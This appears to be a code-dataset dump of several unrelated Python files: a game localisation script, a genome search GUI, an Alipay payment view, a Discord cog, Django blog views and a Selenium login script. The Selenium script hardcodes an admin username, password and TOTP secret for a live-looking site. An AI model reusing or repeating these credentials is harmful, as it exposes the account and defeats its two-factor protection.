yaml.load_all(stream, Loader=yaml.FullLoader)\n\t# doc = yaml.dump(dictionary) # [\"\\u00ef\\u00bb\\u00bfl_english\"]\n\t# doc = json.dumps(dictionary) # [\"\\u00ef\\u00bb\\u00bfl_english\"]\n\t# doc = yaml.dump(dictionary)\n\t# print(type(dictionary), dictionary)\n\t# doc = tr(dictionary['l_english'])\n\t# dictionary = yaml.load(tr(streamEn), Loader=yaml.FullLoader)\n\tdictionary = yaml.safe_load(tr(streamEn))\n\t# print(\"New document:\", type(dictionary))\n\tdoc = dictionary[\"l_english\"]\n\t# print(type(doc), doc)\n\t# for doc in dictionary:\n\tfor lang in range(1, len(localizations)):\n\t\tchanged = False\n\t\tlang = localizations[lang]\n\t\tstream = getYAMLstream(lang, filename)\n\t\tif not stream:\n\t\t\tstream = {}\n\t\t\tprint(\"Create new document \"+lang)\n\t\t\tstream = streamEn.replace(b'l_english', bytes('l_'+lang, \"utf-8\"))\n\t\t\t# copy file with new header\n\t\t\twriteStream(lang, stream, filename)\n\t\t\tcontinue\n\n\t\tlangStream = tr(stream.read())\n\t\t# print(\"Str document:\", type(langStream), langStream)\n\t\t# langStream = yaml.load(langStream, Loader=yaml.FullLoader)\n\t\tlangStream = yaml.safe_load(langStream)\n\n\t\tif not \"l_\"+lang in langStream:\n\t\t\tprint(\"FAIL on file\", filename.replace(\"english\", lang), langStream)\n\t\t\tcontinue\n\t\tlangDict = langStream[\"l_\"+lang]\n\t\t#print(\"Dict document:\", type(langStream), langStream)\n\n\t\t# for _, doc in dictionary.items():\n\t\tif type(doc) is dict and type(langDict) is dict:\n\t\t\tfor key, value in doc.items():\n\t\t\t\t# print(key, value)\n\t\t\t\tif key not in langDict or (lang in local_OVERHAUL and langDict[key] != value):\n\t\t\t\t\tlangDict[key] = value\n\t\t\t\t\tchanged = True\n\t\t\t\t\tprint(\"Fixed document \" + filename.replace(\"english\", lang), key, value)\n\t\t\t\t\t# break\n\t\t\t\t# else: print(bytes(key + \":0 \" + langDict[key], \"utf-8\").decode(\"utf-8\"))\n\t\t\tfor key in list(langDict.keys()):\n\t\t\t\tif key not in doc:\n\t\t\t\t\tdel langDict[key]\n\t\t\t\t\tchanged = True\n\t\t\t\t\tprint(key, \"removed from document \" + filename.replace(\"english\", lang))\n\n\t\tif changed:\n\t\t\t# dictionary = doc.copy()\n\t\t\t# dictionary.update(langDict)\n\t\t\t# langStream[\"l_\"+lang] = dictionary\n\t\t\tlangStream[\"l_\"+lang] = langDict\n\t\t\t# print(type(langStream), langStream)\n\t\t\tlangStream = yaml.dump(langStream, width=10000, allow_unicode=True, indent=1, default_style='\"') # , encoding='utf-8'\n\t\t\tlangStream = trReverse(langStream)\n\t\t\t# print(type(langStream), langStream.encode(\"utf-8\"))\n\t\t\twriteStream(lang, langStream, filename)\n", "repo_name": "D4rkstalker/StellarisModpackUtility", "sub_path": "localisator.py", "file_name": "localisator.py", "file_ext": "py", "file_size_in_byte": 6973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tkinter.Tk", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox", "line_number": 37, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showwarning", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 77, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 79, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 79, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 80, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 80, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 91, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 100, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 101, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 102, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "io.open", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "io.open", "line_number": 134, "usage_type": "call"}, {"api_name": "yaml.default_flow_style", "line_number": 139, "usage_type": "attribute"}, {"api_name": "yaml.allow_unicode", "line_number": 140, "usage_type": "attribute"}, {"api_name": "glob.iglob", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 165, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 185, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 215, "usage_type": "call"}]}
{"seq_id": "21587010080", "text": "from tkinter import Tk, Frame, Label, Text, Scrollbar, Button, Entry\nfrom tkinter.ttk import Combobox\nfrom os import listdir\nfrom Bio import SeqIO\nfrom time import time\n\nfrom brute_force import bf_search\nfrom rabin_karp import rk_search\nfrom knuth_morris_pratt import kmp_search\nfrom fm_index import fm_search\n\n\nclass Page(Frame):\n    def __init__(self, *args, **kwargs):\n        Frame.__init__(self, *args, **kwargs)\n\n    def show(self):\n        self.lift()\n\n\nclass Settings(Page):\n    def __init__(self, *args, **kwargs):\n        Page.__init__(self, *args, **kwargs)\n\n        # Choose genome sequence\n        genome_label = Label(self, text=\"Choose Genome Sequence:\")\n        genome_files = self.get_genome_list()\n        self.genome_combobox = Combobox(self, values=genome_files, state=\"readonly\")\n        genome_label.grid(row=0, column=0, sticky=\"W\")\n        self.genome_combobox.grid(row=0, column=1, sticky=\"W\")\n\n        # Choose algorithim\n        algo_label = Label(self, text=\"Choose Algorithm:\")\n        self.algo_combobox = Combobox(self, values=[\"Brute Force\", \"Rabin-Karp\", \"Knuth-Morris-Pratt\", \"FM-Index\"],\n                                      state=\"readonly\")\n        algo_label.grid(row=1, column=0, sticky=\"W\")\n        self.algo_combobox.grid(row=1, column=1, sticky=\"W\")\n\n        # Enter query sequence\n        query_label = Label(self, text=\"Enter Query Sequence:\")\n        self.query_entry = Entry(self)\n        query_label.grid(row=2, column=0, sticky=\"W\")\n        self.query_entry.grid(row=2, column=1, sticky=\"W\")\n\n        # Continue button\n        self.continue_button = Button(self, text=\"Continue\")\n        self.continue_button.grid(row=3, sticky=\"W\")\n\n    def get_genome_list(self):\n        return listdir(\"genome_seq\")\n\n    def get_genome(self):\n        return self.genome_combobox.get()\n\n    def get_algo(self):\n        return self.algo_combobox.get()\n\n    def get_query(self):\n        return self.query_entry.get()\n\n\nclass Results(Page):\n    def __init__(self, *args, **kwargs):\n        Page.__init__(self, *args, **kwargs)\n        title_label = Label(self, text=\"Positions Found\")\n\n        scrollbar = Scrollbar(self)\n        self.results_text = Text(self, state=\"disabled\", wrap=\"word\", yscrollcommand=scrollbar.set)\n        scrollbar.configure(command=self.results_text.yview)\n\n        self.back_button = Button(self, text=\"Back\")\n\n        title_label.grid(row=0, column=0)\n        self.results_text.grid(row=1, column=0)\n        scrollbar.grid(row=1, column=1, sticky=\"NS\")\n        self.back_button.grid(row=2, column=0, sticky=\"W\")\n\n    def set_text(self, text):\n        self.results_text.configure(state=\"normal\")\n        self.results_text.delete(\"1.0\", \"end\")\n        self.results_text.insert(\"1.0\", text)\n        self.results_text.configure(state=\"disabled\")\n\n    def compute_positions(self, genome, algo, query):\n        genome_record = SeqIO.read(\"genome_seq/\" + genome, \"fasta\")\n        if algo == \"Brute Force\":\n            position_list = bf_search(query, genome_record.seq)\n        elif algo == \"Rabin-Karp\":\n            position_list = rk_search(query, genome_record.seq)\n        elif algo == \"Knuth-Morris-Pratt\":\n            position_list = kmp_search(query, genome_record.seq)\n        elif algo == \"FM-Index\":\n            position_list = fm_search(query, genome_record.seq)\n\n        if position_list:\n            self.set_text(\", \".join(str(i) for i in position_list))\n        else:\n            self.set_text(\"Query sequence not found in genome sequence!\")\n\n\nclass Error(Page):\n    def __init__(self, *args, **kwargs):\n        Page.__init__(self, *args, **kwargs)\n        self.label = Label(self, text=\"\")\n        self.back_button = Button(self, text=\"Back\")\n\n        self.label.grid(row=0, sticky=\"W\")\n        self.back_button.grid(row=1, sticky=\"SW\")\n\n    def set_text(self, text):\n        self.label[\"text\"] = text\n\n\nclass MainWindow(Frame):\n    def __init__(self, *args, **kwargs):\n        Frame.__init__(self, *args, **kwargs)\n        self.settings_page = Settings(self)\n        self.results_page = Results(self)\n        self.error_page = Error(self)\n\n        self.settings_page.continue_button.bind('<Button-1>', self.compute_results)\n        self.results_page.back_button.bind('<Button-1>', self.set_settings)\n        self.error_page.back_button.bind('<Button-1>', self.set_settings)\n\n        self.settings_page.pack()\n        self.results_page.pack_forget()\n        self.error_page.pack_forget()\n\n    def set_settings(self, event):\n        self.results_page.pack_forget()\n        self.error_page.pack_forget()\n        self.settings_page.pack()\n\n    def set_results(self, event):\n        self.settings_page.pack_forget()\n        self.error_page.pack_forget()\n        self.results_page.pack()\n\n    def set_error(self, event):\n        self.settings_page.pack_forget()\n        self.results_page.pack_forget()\n        self.error_page.pack()\n\n    def valid_char_check(self, query):\n        for char in query:\n            if char not in [\"A\", \"C\", \"G\", \"T\", \"U\"]:\n                return False\n        else:\n            return True\n\n    def compute_results(self, event):\n        genome, algo, query = self.settings_page.get_genome(), self.settings_page.get_algo(), self.settings_page.get_query()\n        if not genome:\n            self.error_page.set_text(\"Please select a genome sequence!\")\n            self.set_error(event)\n        elif not algo:\n            self.error_page.set_text(\"Please select a searching algorithm sequence!\")\n            self.set_error(event)\n        elif not query:\n            self.error_page.set_text(\"Please enter a query sequence!\")\n            self.set_error(event)\n        elif not self.valid_char_check(query):\n            self.error_page.set_text(\"Only valid characters are allowed! (A, C, G, T, U)\")\n            self.set_error(event)\n        else:\n            try:\n                self.results_page.compute_positions(genome, algo, query)\n                self.set_results(event)\n            except ValueError:\n                self.error_page.set_text(\"Please only use fna files with a single sequence record!\")\n                self.set_error(event)\n\n\nif __name__ == '__main__':\n    root = Tk()\n    windowWidth = root.winfo_reqwidth()\n    windowHeight = root.winfo_reqheight()\n    positionRight = int(root.winfo_screenwidth() / 2 - windowWidth / 2)\n    positionDown = int(root.winfo_screenheight() / 2 - windowHeight / 2)\n    root.geometry(\"+{}+{}\".format(positionRight, positionDown))\n    root.minsize(300, 100)\n    root.title(\"Algorithms Project 1\")\n    main = MainWindow(root)\n    main.pack()\n    root.mainloop()\n", "repo_name": "ernestang98/ernestang98", "sub_path": "ntu/CZ2001 Algorithms/String Search/src/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6602, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tkinter.Frame", "line_number": 13, "usage_type": "name"}, {"api_name": "tkinter.Frame.__init__", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 15, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 26, "usage_type": "call"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 28, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 33, "usage_type": "call"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 40, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 41, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 46, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 50, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 65, "usage_type": "call"}, {"api_name": "tkinter.Scrollbar", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.Text", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 71, "usage_type": "call"}, {"api_name": "Bio.SeqIO.read", "line_number": 85, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 85, "usage_type": "name"}, {"api_name": "brute_force.bf_search", "line_number": 87, "usage_type": "call"}, {"api_name": "rabin_karp.rk_search", "line_number": 89, "usage_type": "call"}, {"api_name": "knuth_morris_pratt.kmp_search", "line_number": 91, "usage_type": "call"}, {"api_name": "fm_index.fm_search", "line_number": 93, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 104, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 105, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 114, "usage_type": "name"}, {"api_name": "tkinter.Frame.__init__", "line_number": 116, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 116, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 175, "usage_type": "call"}]}
{"seq_id": "35098834437", "text": "from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.conf import settings\nfrom alipay import AliPay\nfrom utils.permissions.one_user_login import OneUserLogin\nfrom player.models.player import Player\nfrom player.models.order import Order\nfrom time import strftime, localtime\nimport random\n\nclass ApplyAliPayView(APIView):\n    # permission_classes = ([OneUserLogin])\n\n    def __init__(self, **kwargs):\n        self.app_private_key_string = open(settings.ALIPAY_KEY_DIR + 'app_private_key.pem').read()\n        self.alipay_public_key_string = open(settings.ALIPAY_KEY_DIR + 'alipay_public_key.pem').read()\n        self.alipay = AliPay(\n            appid=settings.ALIPAY_APP_ID,\n            app_notify_url=None,    # 默认回调url\n            app_private_key_string=self.app_private_key_string,\n            alipay_public_key_string=self.alipay_public_key_string,\n            sign_type='RSA2',\n            debug=settings.ALIPAY_DEBUG,\n        )\n\n    def post(self, request):\n        order = Order.objects.filter(user=request.user).first()\n\n        if order and order.status in (\"TRADE_SUCCESS\", \"TRADE_FINISHED\"):\n            return Response({\n                'result': 'failed',\n                'desp': \"请勿重复支付!\"\n            })\n\n        subject = \"扩容Bot数量\"\n        out_trade_no = strftime('%Y%m%d%H%M%S' + str(random.randint(0, 1000)), localtime())\n        trade_status = \"WAIT_BUYER_PAY\"\n        player = Player.objects.get(user=request.user)\n        order_string = self.alipay.api_alipay_trade_page_pay(\n            # 订单号\n            out_trade_no = out_trade_no,\n            # 金额\n            total_amount = \"0.1\",\n            subject = subject,\n            return_url = settings.ALIPAY_RETURN_URL % player.user.id,\n            notify_url = settings.ALIPAY_ORDER_NOTIFY_URL\n        )\n\n        if order:\n            order.status = \"WAIT_BUYER_PAY\"\n            order.out_trade_no = out_trade_no\n            order.save()\n        else:\n            order = Order.objects.create(user=request.user, out_trade_no=out_trade_no, amount=0.1, status=trade_status)\n            order.save()\n\n        pay_url = '%s?%s' % (settings.ALIPAY_URL, order_string)\n        return Response({\n            'result': 'success',\n            'pay_url': pay_url\n        })\n", "repo_name": "ZzqForCoding/ai_game", "sub_path": "ai_game_backend_code/player/views/bot/alipay/apply_alipay.py", "file_name": "apply_alipay.py", "file_ext": "py", "file_size_in_byte": 2315, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.settings.ALIPAY_KEY_DIR", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.settings.ALIPAY_KEY_DIR", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 16, "usage_type": "name"}, {"api_name": "alipay.AliPay", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.settings.ALIPAY_APP_ID", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 18, "usage_type": "name"}, {"api_name": "django.conf.settings.ALIPAY_DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "player.models.order.Order.objects.filter", "line_number": 27, "usage_type": "call"}, {"api_name": "player.models.order.Order.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "player.models.order.Order", "line_number": 27, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 30, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 36, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 36, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 36, "usage_type": "call"}, {"api_name": "player.models.player", "line_number": 38, "usage_type": "name"}, {"api_name": "player.models.player.Player.objects.get", "line_number": 38, "usage_type": "call"}, {"api_name": "player.models.player.Player.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "player.models.player.Player", "line_number": 38, "usage_type": "name"}, {"api_name": "django.conf.settings.ALIPAY_RETURN_URL", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 45, "usage_type": "name"}, {"api_name": "player.models.player.user", "line_number": 45, "usage_type": "attribute"}, {"api_name": "player.models.player", "line_number": 45, "usage_type": "name"}, {"api_name": "django.conf.settings.ALIPAY_ORDER_NOTIFY_URL", "line_number": 46, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 46, "usage_type": "name"}, {"api_name": "player.models.order.Order.objects.create", "line_number": 54, "usage_type": "call"}, {"api_name": "player.models.order.Order.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "player.models.order.Order", "line_number": 54, "usage_type": "name"}, {"api_name": "django.conf.settings.ALIPAY_URL", "line_number": 57, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 57, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "6036200697", "text": "from selenium import webdriver\nimport time\nfrom selenium.webdriver.common.by import By\nimport hmac, base64, struct, hashlib\n\ndef get_google_code(secret):\n    key = base64.b32decode(secret, True)\n    msg = struct.pack(\">Q\", int(time.time()) // 30)\n    google_code = hmac.new(key, msg, hashlib.sha1).digest()\n    # 很多网上的代码不可用，就在于这儿，没有chr字符串\n    o = ord(chr(google_code[19])) & 15\n    # google_code = (struct.unpack(\">I\", google_code[o:o + 4])[0] & 0x7fffffff) % 1000000\n    google_code = (struct.unpack(\">I\", google_code[o:o + 4])[0] & 0x7fffffff) % 1000000\n    return '%06d' % google_code\n\n# 生成验证码\ngoogle_code = get_google_code('64ehnxj6yily5bhv23kgb62ozuh6yuu2')\n\nsubmit_url = 'http://fundmng.bsportsadmin.com/api/manage/user/admin/login/submit'\nbrowser = webdriver.Chrome()\nbrowser.get('http://fundmng.bsportsadmin.com/login')\ntime.sleep(1)\nuser_input = browser.find_element(By.ID,'login_username')\nuser_input.send_keys('Marquis')\ntime.sleep(1)\npw_input = browser.find_element(By.ID,'login_password')\npw_input.send_keys('qwer123456')\ntime.sleep(1)\ncode_input = browser.find_element(By.ID,'login_code')\ncode_input.send_keys(google_code)\ntime.sleep(1)\nbutton = browser.find_element(By.TAG_NAME,'button')\nbutton.click()\n# 等待页面加载完成\nbrowser.implicitly_wait(10)\nresponse = browser.page_source\nprint(response)\nprint(browser.get_cookies())\nprint(browser.get_log('browser'))\n\n", "repo_name": "Marquis0065/project202308285", "sub_path": "Bsport/大客户提款时效预警/selenium测试.py", "file_name": "selenium测试.py", "file_ext": "py", "file_size_in_byte": 1438, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "base64.b32decode", "line_number": 7, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 8, "usage_type": "call"}, {"api_name": "time.time", "line_number": 8, "usage_type": "call"}, {"api_name": "hmac.new", "line_number": 9, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 9, "usage_type": "attribute"}, {"api_name": "struct.unpack", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 20, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 20, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 23, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 26, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 26, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 29, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 29, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 32, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 32, "usage_type": "name"}]}
{"seq_id": "41820122148", "text": "\"\"\"\r\nOn Ready\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nRuns code when bot is ready\r\n\r\n:copyright: (c) 2021 M2rsho\r\n:license: MIT, see LICENSE for more details.\r\n\r\n\"\"\"\r\n\r\nfrom discord.ext import commands\r\nimport support\r\nfrom datetime import datetime, timezone \r\nimport discord\r\nfrom run import __version__\r\nimport json\r\nimport os\r\n\r\nclass on_message(commands.Cog):\r\n    def __init__(self, client):\r\n        self.client = client\r\n        with open(f\"{support.path}/data/socialcredit.json\") as file:\r\n            self.censorshit = json.load(file)\r\n    \r\n    @commands.Cog.listener()\r\n    async def on_message(self, message):\r\n        #def check(m):\r\n        #    return (m.author == message.author\r\n        #        and (cs in m.content for cs in self.censorshit)\r\n        #        and (datetime.now(timezone.utc)-m.created_at).seconds <= 2)\r\n        #\r\n        #if not message.author.bot:\r\n        #   if not len(list(filter(lambda m: check(m), self.client.cached_messages))) <= 2:\r\n        #        return\r\n            for cs in self.censorshit:\r\n                if cs.lower() in message.content.lower():\r\n                    await support.globalData.addSocialCredit(message.author, self.censorshit[cs])\r\n                    support.log(datetime.utcnow(), \"SOCIAL CREDIT\", f\"{message.author}\", message.content)\r\n                    file = await support.processing.generate_social_credit(self.censorshit[cs], message.author.id) \r\n                    channel = await message.author.create_dm()\r\n                    await channel.send(\r\n                        embed=discord.Embed(\r\n                            description=f\"[Jump To Message]({message.jump_url}).\\n{self.censorshit[cs]} Social Credit. Your Social Credit is now `{await support.globalData.getSocialCredit(message.author)}`\",\r\n                            colour=support.colours.red)\r\n                            .set_image(url=f\"attachment://{message.author.id}.png\"),\r\n                        file=discord.File(file))\r\n                    try:\r\n                        os.remove(file)\r\n                    except:\r\n                        pass\r\n                \r\ndef setup(client):\r\n    client.add_cog(on_message(client))\r\n", "repo_name": "PyBot-Development/PyBot-v5", "sub_path": "src/cogs/events/on_message.py", "file_name": "on_message.py", "file_ext": "py", "file_size_in_byte": 2197, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 20, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 20, "usage_type": "name"}, {"api_name": "support.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "support.globalData.addSocialCredit", "line_number": 38, "usage_type": "call"}, {"api_name": "support.globalData", "line_number": 38, "usage_type": "attribute"}, {"api_name": "support.log", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "support.processing.generate_social_credit", "line_number": 40, "usage_type": "call"}, {"api_name": "support.processing", "line_number": 40, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 43, "usage_type": "call"}, {"api_name": "support.globalData.getSocialCredit", "line_number": 44, "usage_type": "call"}, {"api_name": "support.globalData", "line_number": 44, "usage_type": "attribute"}, {"api_name": "support.colours", "line_number": 45, "usage_type": "attribute"}, {"api_name": "discord.File", "line_number": 47, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 49, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 26, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 26, "usage_type": "name"}]}
{"seq_id": "15089578702", "text": "from django.shortcuts import render, get_object_or_404\nfrom .models import Post, Comment\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.views.generic import ListView\nfrom .forms import EmailPostForm, CommentForm, SearchForm\nfrom django.core.mail import send_mail\nfrom taggit.models import Tag\nfrom django.db.models import Count\nfrom django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank, TrigramSimilarity\n\n\n# def post_list(request):\n#     posts = Post.published.all()\n#     return render(\n#         request,\n#         'blog/post/list.html',\n#         {\n#             'posts': posts,\n#         }\n#     )\n\n\ndef post_list(request, tag_slug=None):\n    object_list = Post.published.all()\n    tag = None\n\n    if tag_slug:\n        tag = get_object_or_404(Tag, slug=tag_slug)\n        object_list = object_list.filter(tags__in=[tag])  # tags__in - bo manager się nazywa tags\n\n    paginator = Paginator(object_list, 3)   # liczba postów na str\n    page = request.GET.get('page')          # nr bieżącej str\n\n    try:\n        posts = paginator.page(page)\n    except PageNotAnInteger:\n        # jeśli page nie jest integerem, pobież 1 str\n        posts = paginator.page(1)\n    except EmptyPage:\n        # jesli page > od ost str, wyświetl ost str\n        # ost str (paginator.num_pages)\n        posts = paginator.page(paginator.num_pages)\n    return render(\n        request,\n        'blog/post/list.html',\n        {\n            'page': page,\n            'tag': tag,\n            'posts': posts,     # jeśli widok oparty na def, w paginacji\n                               # {% include \"pagination.html\" with page=posts %}\n        }\n    )\n\n\n# class PostListView(ListView):\n#     # queryset = Post.published.all()   # możemy zostać przy model = Post a Django za nas przygotuje kolecję\n#                                         # QuerySet Post.published.all()\n#     model = Post\n#     context_object_name = 'posts'\n#     paginate_by = 3\n#     template_name = 'blog/post/list.html'\n\n\ndef post_details(request, year, month, day, post):\n    post = get_object_or_404(\n        Post,\n        slug=post,\n        status='published',\n        publish__year=year,\n        publish__month=month,\n        publish__day=day,\n    )\n    # lista aktywnych komentarzy dla posta wyciągniętego wyżej\n    comments = post.comments.filter(active=True)\n    new_comment_add = False\n\n    if request.method == 'POST':\n        comment_form = CommentForm(data=request.POST)\n        if comment_form.is_valid():\n            #  tworzymy nowy komentarz na podstawie wysłanych danych\n            #  ale jeszcze go nie zapisujemy do bazy\n            new_comment = comment_form.save(commit=False)\n            #  przypisujemy go do posta\n            new_comment.post = post\n            #  zapisuejmy w bazie\n            new_comment.save()\n            new_comment_add = True\n    else:\n    # if request.method == 'GET':\n        comment_form = CommentForm()\n\n    # Lista podobnych postów\n    post_tags_ids = post.tags.values_list('id', flat=True)\n        #  pobieramy listę idików tagów, które są też chakterystyczne dla bieżącego posta\n    similar_posts = Post.published.filter(tags__in=post_tags_ids).exclude(id=post.id)\n        #  pobieramy wyżej wszystkie posty zawierające dowolny z otrzymanych wczeniej tag, poza bieżącym\n    similar_posts = similar_posts.annotate(same_tags=Count('tags')) \\\n                        .order_by('-same_tags', '-publish')[:4]\n\n    if len(comments) == 1:\n        comments_pl_ending = ''\n    elif len(comments) in (2, 3, 4):\n        comments_pl_ending = 'e'\n    else:\n        comments_pl_ending = 'y'\n\n    return render(\n        request,\n        'blog/post/detail.html',\n        {\n            'post': post,\n            'comments': comments,\n            'comment_form': comment_form,\n            'new_comment_add': new_comment_add,\n            'similar_posts': similar_posts,\n            'comments_pl_ending': comments_pl_ending,\n        }\n    )\n\n\ndef post_share(request, post_id):\n    #  pobieranie posta na podst. jego identyfikatora\n    post = get_object_or_404(\n        Post,\n        id=post_id,\n        status='published',\n    )\n    sent = False\n\n    if request.method == 'POST':\n        form = EmailPostForm(request.POST)  # tworzymy formularz na podst. wysłanych danych z request.POST\n        if form.is_valid():\n            cd = form.cleaned_data\n            post_url = request.build_absolute_uri(\n                post.get_absolute_url()\n            )\n            subject = 'według {0} (a to ichni mail{1}) mówi, że \"{2}\" jest ok'.format(\n                cd['name'], cd['email'], post.title\n            